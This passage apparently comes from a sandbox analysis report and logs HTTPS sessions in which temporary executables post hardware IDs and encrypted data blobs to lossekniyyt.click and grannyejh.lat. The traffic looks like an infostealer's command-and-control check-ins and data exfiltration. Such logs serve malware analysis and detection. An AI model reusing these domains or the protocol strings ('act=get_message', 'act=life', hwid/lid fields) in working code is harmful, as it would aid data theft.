name="hwid"0B8A630614469655AC8923850305D13E--MH3Z2YBZZ3Content-Disposition: form-data; name="pid"1--MH3Z2YBZZ3Content-Disposition: form-data; name="lid"PsFKDg--pablo--MH3Z2YBZZ3Content-
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: a8 28 ff e6 52 f9 6e bf 38 df 77 01 f1 7c 9a 68 b8 24 fd f4 58 19 0a ee 42 67 f1 db c2 15 b2 b9 e2 1e c2 8d 56 51 81 4f 29 fc 69 19 0b 9f d5 ba 74 2d dd b9 66 c1 18 0d 15 b1 12 4f c6 5d 2f 32 93 96 76 d8 9d be 34 18 c4 66 06 7b 3a 2f 26 7a 22 b8 7a 66 cf 3b 20 ee c6 4e 8a 21 bb b0 0a 03 a1 2e 68 f8 90 e6 a6 a9 25 20 7a ed e4 a8 0c 46 c6 1f 77 16 db ba a4 37 ac e1 36 85 20 ff 29 af 3d 83 5f dc 48 d6 58 30 1c e2 fb 2f 73 71 51 72 e0 29 a3 eb 37 20 58 9c fb a9 5d 7e f7 f7 79 95 9b 4b 7d 1f 10 c0 50 16 a5 c4 d1 86 d2 6f 47 de d2 de ff f8 92 7e fb fe ac b2 8d 7f f8 c0 80 05 f4 47 47 fc 37 0f 33 f8 32 44 a3 a4 41 3d 7c 40 34 1c b6 5a 00 d4 0f e2 e0 29 58 c1 32 79 04 1b b4 c2 6a e8 1d 17 b1 8b 66 5b bb 31 7b 51 73 bb b5 3f d4 d6 84 80 6c 58 e8 1a 48 f7 de 64 3b Data Ascii: (Rn8w\|h$XBgVQO)it-fO]/2v4f{:/&z"zf; N!.h% zFw76 )=_HX0/sqQr)7 X]~yK}PoG~GG732DA=\|@4Z)X2yjf[1{Qs?lXHd;
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: 0f 9b 73 91 f6 20 61 61 a4 e2 c1 f9 b3 1f 4f 26 08 76 08 35 6f 1c 7b 00 b2 eb 71 c4 85 d6 1a ad 6c cc cc f3 57 b8 ba d3 8d 31 9c 48 6f 8e 74 b9 0d 63 a2 3e 70 48 ba b7 66 c3 8f 42 bd 6e 67 96 8c cb 70 f0 ba bc d4 97 3d 28 41 a4 a9 84 a4 95 2d 09 fe ea ed c9 ad d3 e9 ff 65 29 c8 28 8e 94 12 16 9e a9 70 0e d5 e7 13 7d 8b 26 3e 6e 84 eb 8b 87 bf 60 15 46 6c 41 c0 3b 55 5c c2 1b 62 44 d8 f3 d3 0a 6c 02 d7 16 e5 49 d5 fa 5a be 9b 73 2c 5f 1a 98 c7 35 a1 1e ea 90 b2 6b ca 9c 3e 68 8c d3 ef d1 67 98 c1 b3 f4 8a 05 6d df 85 2a 46 f9 b0 e6 aa 25 63 fc f5 37 29 8e 16 a7 bd 00 b1 65 ad 32 72 d0 f7 db 9b 67 65 8a 2d aa f5 4f 72 af d1 5f d6 dd c1 bd 55 de 0f d3 bb 04 c1 d0 b2 cd b6 2a 16 10 d7 03 7f 57 4f 0e 7c 37 cb 7b 77 97 55 76 53 a4 b4 99 bb d5 37 6f 5e bd eb 03 Data Ascii: s aaO&v5o{qlW1Hotc>pHfBngp=(A-e)(p}&>n`FlA;U\bDlIZs,_5k>hgmF%c7)e2rge-Or_UWO\|7{wUvS7o^
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: 9a 66 98 4e ca c9 07 81 20 59 39 61 46 cd c0 58 4b 54 ae 48 61 9f f9 47 3f 0e 3a 93 95 f9 ba d6 4b 24 d9 86 7e 8a f4 c3 2f f3 f2 1c a5 85 e6 58 7b f7 e3 b5 d3 98 13 16 77 66 01 ab e9 df af 8b bf 52 77 a2 89 10 94 ae ea c0 0c 29 09 4a 46 60 df e0 ea ca d3 38 97 46 26 39 05 5f d5 eb e8 7b c7 69 b2 5e 71 c8 c5 86 f2 fb 7b eb ab 16 c3 4a c8 05 ac 4c 67 64 ef d0 2a 45 0a 47 4f 56 fc c6 bf ca 3a 94 31 c3 6d 9e 91 e7 6a 56 a7 1e cc c5 23 96 66 3d 54 db 1d 00 55 73 4e fc 6c df 64 cd 38 37 34 ae 0c ff 30 4d 97 b3 9d 45 af 15 64 96 8c 1a 3f c0 90 98 e5 f5 e5 f6 48 30 02 58 7d 8e ff 34 32 72 e2 10 d8 e3 ca 00 22 ad 69 38 3e 23 58 02 c7 c6 b0 86 84 ba 1b 93 99 3f e5 a1 b4 11 ab 9c 96 c0 32 60 77 ee ac ea 16 b7 8e 15 c3 4d 9d 15 7c b2 d6 2f f4 77 0f 50 05 20 16 61 ff Data Ascii: fN Y9aFXKTHaG?:K$~/X{wfRw)JF`8F&9_{i^q{JLgd*EGOV:1mjV#f=TUsNld8740MEd?H0X}42r"i8>#X?2`wM\|/wP a
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: 69 30 b2 b6 93 0b 85 2d e1 84 7c 35 4c 71 ab 49 20 27 46 16 f2 0b f8 38 22 be 62 1a 1d 92 00 d3 81 ff e8 2d 68 fa db 90 6a a6 6b 30 db 4b 47 db 0e 4b 6f 2b 43 49 88 cf 84 97 0a 74 2a 5b a5 65 1f 24 48 b8 d7 21 63 a2 63 a2 23 75 6c 42 f5 c6 b6 3a f9 88 31 a1 c1 89 b5 7d 92 a7 f4 5a 1c b4 23 5e 18 00 9f df e8 8b 64 03 15 5b 0f f8 d6 a7 e4 f4 df 11 50 00 74 2b 0e 98 23 6f cb 32 4a f6 e0 fa e0 42 71 2d 65 05 70 42 66 c3 32 da 4f 18 47 a7 98 99 46 1a b7 b2 a2 ba 44 5b 72 34 bb 83 ff 65 b8 c0 11 a9 5b 18 4d 53 45 85 88 80 e5 d3 d1 e4 f4 d5 ec 97 e6 6d 3c ab 8f 75 de 63 f9 f7 7a 8a a0 e6 78 ab e0 91 8d bb df cc 31 cb 4c 61 0d ec 8b 9d 5a 5d b2 79 3e 8d 89 5d 1f 2c 5b b2 5b 4d fa e7 e4 ee 33 df eb b4 35 c5 b0 2b 3b e2 0a 02 e9 a2 bd fb 41 b1 b6 93 13 ce 6c 2a 7b Data Ascii: i0-\|5LqI 'F8"b-hjk0KGKo+CIt[e$H!cc#ulB:1}Z#^d[Pt+#o2JBq-epBf2OGFD[r4e[MSEm<uczx1LaZ]y>],[[M35+;Al{
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: b8 a8 78 38 f9 7d 47 22 9a 7e 9b aa 75 02 f9 bc 78 ad 18 d4 23 27 1c e2 07 3f 56 19 d2 cb 8f b3 ba 70 a0 fb fa 75 d3 6c d0 12 4e df fd 95 26 bf dd b6 55 86 a2 87 84 d3 0d 00 35 5b 16 74 1f c4 cb 96 14 5a 23 3f da 2d 41 d3 88 0a 0d 20 e6 3c d0 32 4b 24 e6 38 bc 72 c2 c2 e2 2b 01 d4 fd cb 1c c3 47 43 27 3c ad c5 78 c4 bf 85 7e cc 70 5d 73 7c 77 b2 26 53 0c a2 7a 08 75 2a 21 e9 9f d1 f4 f8 c1 08 b8 91 fe b0 e2 08 78 f6 5c c2 df 96 b0 9d cf 67 28 bf d8 58 4e 54 48 bd 05 89 bb a4 f8 b2 84 40 ef 64 76 54 28 08 96 96 b8 d3 75 78 4f b5 6d 86 b6 16 01 9b 8b 64 1a e4 24 b8 bb f9 0b 51 6c 02 42 f1 bc 52 95 bc 49 01 15 7b d6 3e 2e 83 4b df e4 23 43 9f db 84 84 c5 64 47 07 1e 66 b5 05 7a 60 15 ea b2 99 02 d4 5a 84 ca de 30 e9 5f a0 d2 be 14 bc fa 34 1b 71 8a dc 0b 32 Data Ascii: x8}G"~ux#'?VpulN&U5[tZ#?-A <2K$8r+GC'<x~p]s\|w&Szu*!x\g(XNTH@dvT(uxOmd$QlBRI{>.K#CdGfz`Z0_4q2
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: a0 e3 6f 65 0b 5f 06 d7 ff 45 da 8a 92 ec f9 26 f4 57 0c ce 33 e6 d8 8c 3c 7f 11 ca 37 ee f0 48 4b b0 ae 9b 7a 1b c7 6d 37 e2 67 ff 12 79 5f 8c 82 fd f4 0b 8f d8 96 07 05 e4 b9 4f fd 9a ac c4 91 1e ce 57 70 39 93 e5 81 0b b1 f3 65 13 f2 38 7c c8 ea 47 c7 53 7e 03 01 56 3e 13 6a a1 52 ec 91 89 8a 18 0e a7 99 eb fe 27 3c 34 06 e8 83 ff cc 70 d0 98 87 69 8c 17 07 9b 6e 03 e6 19 1c 68 8e 19 1c c8 86 18 e6 b2 19 ca de ab 9f 25 df 3c c8 e9 6a da 26 a0 e8 b7 1c e5 3b 2c a6 9d 8e aa 80 c4 69 51 30 42 c9 e6 43 7b 21 40 4c 9a 4a 26 93 21 86 85 31 cc 0b bc cf 8b 43 f7 0c 2b 3e fe 81 86 17 17 3e 84 fc 2c b0 d3 d6 7a 86 32 d4 c1 88 e1 51 a8 78 b5 9b df ed 87 8a eb 06 aa e5 4f a0 8b fc fa c3 ff 7a c4 f2 f3 6e 0b 7c bf 04 d1 3a b4 98 78 b0 f6 6e 8a 07 e0 b0 98 74 3e f0 Data Ascii: oe_E&W3<7HKzm7gy_OWp9e8\|GS~V>jR'<4pinh%<j&;,iQ0BC{!@LJ&!1C+>>,z2QxOzn\|:xnt>
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: c9 c3 63 2e 7b cb 5d 37 8d 36 3a 4a 86 56 f1 45 6f 50 b1 4d 59 66 e8 59 5f 3b 8c 83 20 d0 1d fa ed d1 1f 13 4a d1 d6 17 f6 fb e2 9f 28 91 0f f0 c3 16 0e b2 6a 35 88 19 a9 1f 7e 56 f8 c1 c8 7b 80 f5 34 f9 c3 2c 21 da 94 78 78 fe e2 7e 8c 52 7c 80 f2 df f9 dd 17 14 91 15 92 ce 43 ef 8b 89 46 2b 5d 47 63 d7 ea c8 a7 9e 56 0b af 60 a6 c0 f8 64 bf 45 8d d6 45 65 2a fe c1 93 19 0f 0f 48 83 dd 1c 3e 89 f9 50 25 10 0d 53 e2 be 61 af ae 9f 0d ce e9 84 7e e8 06 a2 b7 cc 2f 39 86 9f da 5d 30 47 d5 bb d5 a1 3b b4 cb f9 1e 28 f5 f9 f4 f1 d8 20 c5 95 7b 1b 79 aa b0 6c 44 7e 5e 6b 48 e7 56 d9 d9 c2 5b 65 f2 94 9a 70 f1 39 3e 77 0b 46 1f e8 d7 bb f1 3f ae ac ff 2c 87 49 11 23 9e 7c 7a ef ae 72 c6 26 ab 79 a0 ae 6c 39 52 27 5e b1 8b 1b f1 3f 71 51 08 d3 e5 a2 da 65 72 ff Data Ascii: c.{]76:JVEoPMYfY_; J(j5~V{4,!xx~R\|CF+]GcV`dEEe*H>P%Sa~/9]0G;( {ylD~^kHV[ep9>wF?,I#\|zr&yl9R'^?qQer
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: 0d cd da 1e 52 55 cd 3d 7a 47 68 b3 d7 b0 48 b3 e9 3b 02 56 8b dd 73 77 f9 05 d5 f9 d5 cf 9e 26 b3 e8 86 b7 13 ae 22 72 af db bb df 03 24 48 52 40 18 02 7d ff d0 b4 b1 f8 dd fb dc 19 17 3b b3 8d 3a 2b af 05 3e 1a 9c e8 24 6c ee cf b7 15 de d7 98 4e 3f 8e 0a 19 56 76 1b 7f 7f b3 ed d4 19 c4 db fe 43 cc cd 90 d2 6c 88 79 39 68 c5 a7 4b 6f 28 8a a9 35 1f 19 20 2b a1 b8 e2 9e 92 5e 96 6e 2f 30 f9 be 99 f2 d9 7d e8 ed da 09 62 98 24 ed 02 aa 12 0d 5a 25 50 56 76 52 fc 37 c3 2a 0f 99 11 8f 77 0a 83 9d 23 d9 b6 f9 1f 55 05 be 84 17 fe 2f 4f 00 7e de 25 e7 60 2f c8 9c 64 96 15 37 fc 88 1c 6c 66 6c 9e 49 d9 b0 12 d1 f3 28 3f b2 e0 be f6 d1 49 58 bb f4 93 b2 3e 2f 93 5d 57 7f 36 24 33 26 7a e6 92 7f 69 b0 a0 20 5e ce 29 56 ac bb 8c 5a 42 9e 4a ff df d9 78 ff b3 fb Data Ascii: RU=zGhH;Vsw&"r$HR@};:+>$lN?VvCly9hKo(5 +^n/0}b$Z%PVvR7*w#U/O~%`/d7lflI(?IX>/]W6$3&zi ^)VZBJx
2024-12-18 14:57:34 UTC	15331	OUT	Data Raw: 34 10 26 fb 4c 96 f5 d9 9f 33 ad f4 d4 63 f6 2c 68 f9 57 e8 31 bb 0c f7 b4 b2 e7 ee da 14 53 2a f9 65 b8 df cd 0f cf 4a 85 b8 67 0c 14 cd de 9c 4d 09 cf 76 ec d1 64 b4 b5 46 4d ad bc 1b 5b f6 7f ef 90 bc 75 69 cc bc 60 28 cf e5 fe d6 b8 52 4e 42 81 7f 85 41 e5 14 5b d1 db 90 15 3a f7 12 8a 1a 48 04 f4 6a c6 e0 72 af f9 e5 8b 93 ae 98 37 32 fe 5d 0b 57 be 8e e5 0f f1 4e 2c 54 2d e7 9b 0e cd 26 2d 5c c3 62 01 b6 ab 5f a7 cd e8 a9 6b 29 fd ed 2c a5 32 78 35 0d 7c 5f bc 2a 31 d8 ff ef f8 07 3d 04 e2 af 1c 8e 6c e4 7c 5d dd fe ea ca 6e 4d b5 c7 db 8b 81 95 ab f2 de 1b 7f 50 6c c9 ab d2 41 17 ad 9b 9c 56 82 6d 4e 57 9e f2 1a 76 d6 dc bf f8 be 6e 0e 3a eb 78 02 6b 96 6d 5c 7a b2 52 f4 de f4 ac a0 eb 5b 1d 07 07 49 86 bc ce 4e 9a 5a b6 e7 c5 23 7a 3f 65 5c 4e c9 Data Ascii: 4&L3c,hW1SeJgMvdFM[ui`(RNBA[:Hjr72]WN,T-&-\b_k),2x5\|_1=l\|]nMPlAVmNWvn:xkm\zR[INZ#z?e\N
2024-12-18 14:57:39 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=585l9d20u3mc7tk0ev6ld71rla; expires=Sun, 13-Apr-2025 08:44:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fygIdg%2BTlTPTJgOuLQzmQQQGxKGrHAqaj9I1YjhFD61xL04ODRLRRTbvBbIA6CrJftH3XkA3lK9C9FQ95ImxeiWXI6heO6BOmNK825%2BRilOSUnSCTgQT%2BiRNBM3uQaS2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40018d9fd2c477-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1639&rtt_var=629&sent=311&recv=610&lost=0&retrans=0&sent_bytes=2829&recv_bytes=582930&delivery_rate=1718658&cwnd=181&unsent_bytes=0&cid=b53ec088b0518bd6&ts=5567&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	50035	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:38 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K28LOSKLDI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15021 Host: lossekniyyt.click
2024-12-18 14:57:38 UTC	15021	OUT	Data Raw: 2d 2d 4b 32 38 4c 4f 53 4b 4c 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 32 38 4c 4f 53 4b 4c 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 32 38 4c 4f 53 4b 4c 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4b 32 38 4c 4f 53 4b 4c 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --K28LOSKLDIContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--K28LOSKLDIContent-Disposition: form-data; name="pid"2--K28LOSKLDIContent-Disposition: form-data; name="lid"9Z1cyc----K28LOSKLDIContent-Dispo
2024-12-18 14:57:41 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=micjdpoigk09ikohdkocolc7pi; expires=Sun, 13-Apr-2025 08:44:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MFm%2Fe6hQml6eE08HUb7c3%2B7n2taojYhLaDCulyXZWTL3yLQUtJj4rhQ5QFyyGC4jAfQIa99A1Q9syEAfpTtXvmCAeXn3A8bgNLErASrHBt%2Bok6TKQ2XfTBUTODJCbjLh2FplLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001aa8f958c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3407&min_rtt=2032&rtt_var=1744&sent=16&recv=20&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15954&delivery_rate=1437007&cwnd=247&unsent_bytes=0&cid=6a46d298b11a93cf&ts=2991&x=0"
2024-12-18 14:57:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	50045	172.67.179.109	443	7396	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:41 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 14:57:41 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=0B8A630614469655AC8923850305D13E
2024-12-18 14:57:43 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uvroqf6ud8el4t6c04v8g3jbqk; expires=Sun, 13-Apr-2025 08:44:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QwU3yijRN7Y8SvlDBBCsmXG1tOaiqRoktWMZTt0mAYOCF%2F3HsPjONcWhqBSJhNAZKmNYJJ8RRO%2BMRs7paB35l8b6a1u5Cjy%2FXiDCqgA%2FQgr77PE4LY40LMe%2BMtRe7BaQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001b9e9a243f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2454&min_rtt=2447&rtt_var=932&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=979&delivery_rate=1165203&cwnd=213&unsent_bytes=0&cid=eb3ca3de47f3d42b&ts=2800&x=0"
2024-12-18 14:57:43 UTC	214	IN	Data Raw: 64 30 0d 0a 50 64 52 68 77 77 42 50 77 6f 2b 36 59 58 59 50 58 76 76 72 52 39 6d 45 52 62 34 6a 38 32 78 77 4b 64 70 5a 2b 33 54 6c 74 74 78 6d 72 30 4f 32 49 6e 58 67 35 38 34 56 42 6a 55 43 31 4c 64 6f 36 4c 78 77 6b 42 48 43 57 56 34 59 36 32 72 56 52 64 50 71 38 31 4b 79 42 35 38 76 4b 36 66 70 6c 41 51 4f 61 6e 7a 58 79 53 47 74 70 6e 2b 4f 44 39 45 4a 55 68 50 71 4a 4e 63 50 78 38 50 2b 42 2f 59 4a 74 33 51 2f 2b 4e 4f 56 50 56 6b 2b 5a 73 37 46 64 65 69 78 61 34 38 53 77 45 4a 42 48 34 5a 32 69 41 43 41 31 37 46 68 2b 78 4f 69 62 69 75 74 34 70 51 45 44 6d 70 38 31 38 6b 68 72 61 5a 2f 6a 67 2f 52 43 56 49 54 36 69 53 6d 0d 0a Data Ascii: d0PdRhwwBPwo+6YXYPXvvrR9mERb4j82xwKdpZ+3Tlttxmr0O2InXg584VBjUC1Ldo6LxwkBHCWV4Y62rVRdPq81KyB58vK6fplAQOanzXySGtpn+OD9EJUhPqJNcPx8P+B/YJt3Q/+NOVPVk+Zs7Fdeixa48SwEJBH4Z2iACA17Fh+xOibiut4pQEDmp818khraZ/jg/RCVIT6iSm
2024-12-18 14:57:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.10	50048	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:42 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:57:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:57:43 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rirabgu59j4aui603qvsai4qn2; expires=Sun, 13-Apr-2025 08:44:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mAnrG6jYRXZhnNhdaBvGGMYQBAHUBCdH%2Bm8hF5ZWlA4uKmnQAyz3C262JmU7pUMDIyy8AM4QJ9ybpZPif8cRgm6bdMn2%2FhuJ8b8aqNTk6DCk1Zklbg%2BGANxxSLIahZHq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001c02dff4340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2218&min_rtt=2216&rtt_var=836&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1304153&cwnd=217&unsent_bytes=0&cid=c06b566ae45210df&ts=1623&x=0"
2024-12-18 14:57:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:57:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	50049	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:43 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MAP4KPF3B06BV7HK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20419 Host: lossekniyyt.click
2024-12-18 14:57:43 UTC	15331	OUT	Data Raw: 2d 2d 4d 41 50 34 4b 50 46 33 42 30 36 42 56 37 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 41 50 34 4b 50 46 33 42 30 36 42 56 37 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 41 50 34 4b 50 46 33 42 30 36 42 56 37 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4d 41 50 34 4b 50 46 Data Ascii: --MAP4KPF3B06BV7HKContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--MAP4KPF3B06BV7HKContent-Disposition: form-data; name="pid"3--MAP4KPF3B06BV7HKContent-Disposition: form-data; name="lid"9Z1cyc----MAP4KPF
2024-12-18 14:57:43 UTC	5088	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lpQ0/74G6(~`~O
2024-12-18 14:57:45 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5qrjb3d9ob532h448c1ds3clr0; expires=Sun, 13-Apr-2025 08:44:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I13KKbMD9unAegs8BmePiJzKCn6cvqvqGv770tqdIvzr1gdV8qSXHcL9p0E0NrcBdvIEwy2jeeqZWjdbRe9YnDHQLeR8OvKpy7SZzjRKDfFMPfPHCg4spgbTC1YrWRAWhzWDZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001c69d5478d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1905&min_rtt=1901&rtt_var=722&sent=19&recv=26&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21380&delivery_rate=1505154&cwnd=147&unsent_bytes=0&cid=30870ac0cc9cc901&ts=2019&x=0"
